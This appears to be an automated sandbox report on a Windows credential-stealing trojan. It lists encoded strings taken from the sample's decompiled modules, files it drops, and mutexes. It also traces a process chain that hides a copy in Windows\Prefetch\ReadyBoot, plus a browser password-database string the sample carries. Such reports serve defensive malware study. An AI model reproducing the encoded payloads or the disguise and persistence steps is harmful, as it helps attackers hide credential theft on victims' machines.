'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
Source: 6.2.KyC6hVwU8Z.exe.436080.3.raw.unpack, 8B6.cs	Base64 encoded string: 'H4sIAAAAAAAEAMsoKSkottLXzyzIzEvL18vM188qzs8DACTOYY8WAAAA', 'H4sIAAAAAAAACssoKSkottLXTyzI1Mss0CtO0k9Pzc8sAABsWDNKFwAAAA=='
Source: 6.2.KyC6hVwU8Z.exe.436080.3.raw.unpack, 76n.cs	Base64 encoded string: 'tV/NQx1u/wysWGpIpxhoqHZF3xFruazhj4ri0nGDAqfHfiotTsG9owzN3ppNr+GiWjcSDmboXzHI/Z1/PclUVdIDwUHGFtTNK95vv6LRCETBd8uqv7/32PvscVVXq4njef29i8KdkAIX7hMebo0g919a9+Ejvbnr6XEbS3RedBXrYNomkbRSFzgzvXVEt2V/', '+f/1oVXgbMgidJZEjvJmMXvLaDGvmgot7SAFU6f9z6zuJaazz/1p+N0mxs2YGSyD5eF+I0vtefO7fcJlZSdKRRAQUiNcQ/Qg330kr7T6T5X+8/8Y8NK+ERmjwwSE1gjuQ536i04ZT82d+J6HtV9iiZOiz9ImQFD2GQ/Y7FhRes+u1/6Qer79CkV9Xj9A/mNUhHxVhPoqqK4p6+x1tGUL05fV9VJElwZbzon9l54aCWEsP0zUKlkj7J6Bl1Rdy57c'
Source: 6.2.KyC6hVwU8Z.exe.436080.3.raw.unpack, 7YK.cs	Base64 encoded string: 'jlj2C6Vo9wxlZW3X0Y/rGSuc7vpufqej201XB8PpV6OHQLJMxB9pqWl7elm1IpizYkfv6Z4ZtCENvx4fkmt+dz4KT7rurEa/DC4vJNjY7nC9pmBnj7TTOMkaoH2eZADwzban7Nd9wX5zjaDaseJMG5PtfFGnxt9NNldJqFEUfh+T8MMClrxBcYE/7I5LnLyT7r1LXgJpK26yQdXM230lNSxbUD1z1T/qw999A3BjJxQ6RGZmJND1wdL7cqksRFh8g9AzZSPoQKllxR5OfgFqMlJgUExBztvKKh0nWAmT6LJMwDxg0AW0uJMfUeuaPuy4aW+ZkOKkso/cCp3qb76Na/BYQtccwbQqE0SgjqHS91EQmPIxJCGjTR1vEodY6SkqahvWL0Pa9Uw2hijgEGHSPFDKUzHXDicdp6YW+oK3EI5MIeP6iPOtqCDLUD5WCasnFDuPGoarnheLgdPnK2+cQLHTeJN5T21PujdQY3mDNan/dACX9nQtVd7ZDO1CdK19f5Ih3ELJ3jGjtLdftMeg4vDAnHtC/Nbhrs9yc98qsI0fQeTcYWgLGW5aVZ2/m3HIt2WMkBnL/EKnB/9OfK4Hb6QE9H2zYnq51zM+fGGQAIyHLrQD5suS0CQMyuVz7gM9GTFGYHXWtkqpi4SJNY0A0pCkce3mzRMrhfxq6zMjk13jQkorQUZq1PE20h+cOdg0u91msNhZf1KaFJJmAvt/+s5ke+L1IZyE6xofaOITGrRJsqiTnCh2KS0MWKTh4fRkAmVostVdFGsfa3gkrLOuQz3L8Wf59m8BZxzB2pnYwiAuADE93Ff2oAy6kewuHFKWdlw7dOc1CHoRCGETjpq6WCcaSALafT+ml18vX9+IR6+Luf0qR75uKRXpUCthoGLODBI2d501IdwAxB22imoONqu9GpPFPP8ynZfxnBrv6wBrvzmRYGLPgNnTZfUHH8p8Q/lJBT1P1UfN2HAniB3lP8E7cOdvwHN1fms2DUAkNec5mNF1fH00+c44AgGpFCyg0prHHRMILBhUy5MXkgXxaA==', 'hfpIhvOmfXaAYae3lzPIQ7hfc4slwe8TgywtoJMcgLYd54agz32V4Bek8KqmDn0BZHdknuObnxmEjDjieMv3lmYfUMvedkY2VXDxaz2EobsHYZB4kHI117Zxs7Qb8t7D'
Source: 6.2.KyC6hVwU8Z.exe.436080.3.raw.unpack, 52Z.cs	Base64 encoded string: 'ICBfX18gICAgICAgICAgIF8gICAgICBfX18gICAgICAgICAgICAgXyAgICAgICAgXyAgIF9fXyAgICBfIF9fX19fIA0KIHwgICBcIF9fIF8gXyBffCB8X18gIC8gX198XyBfIF8gIF8gX198IHxfIF9fIF98IHwgfCBfIFwgIC9fXF8gICBffA0KIHwgfCkgLyBfYCB8ICdffCAvIC8gfCAoX198ICdffCB8fCAoXy08ICBfLyBfYCB8IHwgfCAgIC8gLyBfIFx8IHwgIA0KIHxfX18vXF9fLF98X3wgfF9cX1wgIFxfX198X3wgIFxfLCAvX18vXF9fXF9fLF98X3wgfF98X1wvXy8gXF9cX3wgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHxfXy8gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA=='

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@21/281@0/1

Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe

File created: C:\Program Files (x86)\windows nt\Accessories\en-US\PfjsOcNiQfAmiszo.exe

Jump to behavior

Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe

File created: C:\Users\user\AppData\Roaming\7Up9zvGH4w.exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1532:120:WilError_03
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Mutant created: NULL
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\d9644a53c099b8ef069d97c7b0d2f65e85cf0cff3293cfd8bb62590e72fe2bea
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6176
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1100:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3332:120:WilError_03

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\3b4829c3-284c-4f17-ac8d-6b4b7bda2ef5

Jump to behavior

Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe

Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\pfyxVLTZvp.bat"

Source: KyC6hVwU8Z.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: J203HxjA6A.18.dr, pt44UbVrX8.18.dr, kYz7lzC7Jj.18.dr, 7su0aWjW8w.18.dr, 0GZTZCUY0v.18.dr, pO8Q4T5snJ.18.dr, iwu6keIS7m.18.dr, I2cOwlVbag.18.dr, H6A5OwnMM6.18.dr, ao2NmyHDlD.18.dr, LnYzImVnQ2.18.dr, dCkec23DBT.18.dr, GKuwXuXE8C.18.dr, gtmLr0ymEC.18.dr, PBSk0Zm5Dd.18.dr, nIzUjAqAw2.18.dr, DVgrhhAWZS.18.dr, UP7xlfBkwQ.18.dr, lykS9T1xkn.18.dr, EWwQJHUCrx.18.dr, Utub242wab.18.dr, vNf33pNqgF.18.dr, KqAh4OxcmN.18.dr, sT7v3y8Ay2.18.dr, boRAfOEPDL.18.dr, SVsEb98rBZ.18.dr, vruohWsJk5.18.dr, 6UmKsuDUKz.18.dr, LPGF0xt1DH.18.dr, 9dkq45Ac5a.18.dr, FimG10vvKl.18.dr, WUqhDsmpfm.18.dr, ih02a81obF.18.dr, z14JM0ronL.18.dr, sdRLUSSXm3.18.dr, 9YF0DAxCJR.18.dr, cgTAXxmJGO.18.dr, eSvLqivfpd.18.dr, N1xEUNZmC4.18.dr, i7Bl7x9BQv.18.dr, lkPEUyrGJS.18.dr, V5qcH4vQA7.18.dr, S70rTITpHM.18.dr, akoSdepB0C.18.dr, 4FOwrtRIJg.18.dr, ABrC2EDZTj.18.dr, ZKbQ74hJMK.18.dr, cEZtl8Q1fy.18.dr, wVzAcLzeb4.18.dr, 69PBq723DI.18.dr, 9Bsflhm0fO.18.dr, q7Yak2ugVm.18.dr, pjvV2RxjYa.18.dr, t7ofdTq1xz.18.dr, QiQMIefFnD.18.dr, 4LcM8naUSb.18.dr, qte18p81kf.18.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: KyC6hVwU8Z.exe	ReversingLabs: Detection: 71%
Source: KyC6hVwU8Z.exe	Virustotal: Detection: 50%

Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe

File read: C:\Users\user\Desktop\KyC6hVwU8Z.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\KyC6hVwU8Z.exe "C:\Users\user\Desktop\KyC6hVwU8Z.exe"
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Process created: C:\Users\user\Desktop\KyC6hVwU8Z.exe "C:\Users\user\Desktop\KyC6hVwU8Z.exe"
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Process created: C:\Users\user\Desktop\KyC6hVwU8Z.exe "C:\Users\user\Desktop\KyC6hVwU8Z.exe"
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6176 -s 268
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Process created: C:\Users\user\AppData\Roaming\7Up9zvGH4w.exe "C:\Users\user\AppData\Roaming\7Up9zvGH4w.exe"
Source: C:\Users\user\AppData\Roaming\7Up9zvGH4w.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Process created: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe "C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe"
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\pfyxVLTZvp.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe "C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe"
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Process created: C:\Users\user\Desktop\KyC6hVwU8Z.exe "C:\Users\user\Desktop\KyC6hVwU8Z.exe"	Jump to behavior
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Process created: C:\Users\user\Desktop\KyC6hVwU8Z.exe "C:\Users\user\Desktop\KyC6hVwU8Z.exe"	Jump to behavior
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Process created: C:\Users\user\AppData\Roaming\7Up9zvGH4w.exe "C:\Users\user\AppData\Roaming\7Up9zvGH4w.exe"	Jump to behavior
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Process created: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe "C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\pfyxVLTZvp.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe "C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe"	Jump to behavior

Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\KyC6hVwU8Z.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pPTyCqA3ru.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe	Section loaded: winmmbase.dll	Jump to behavior
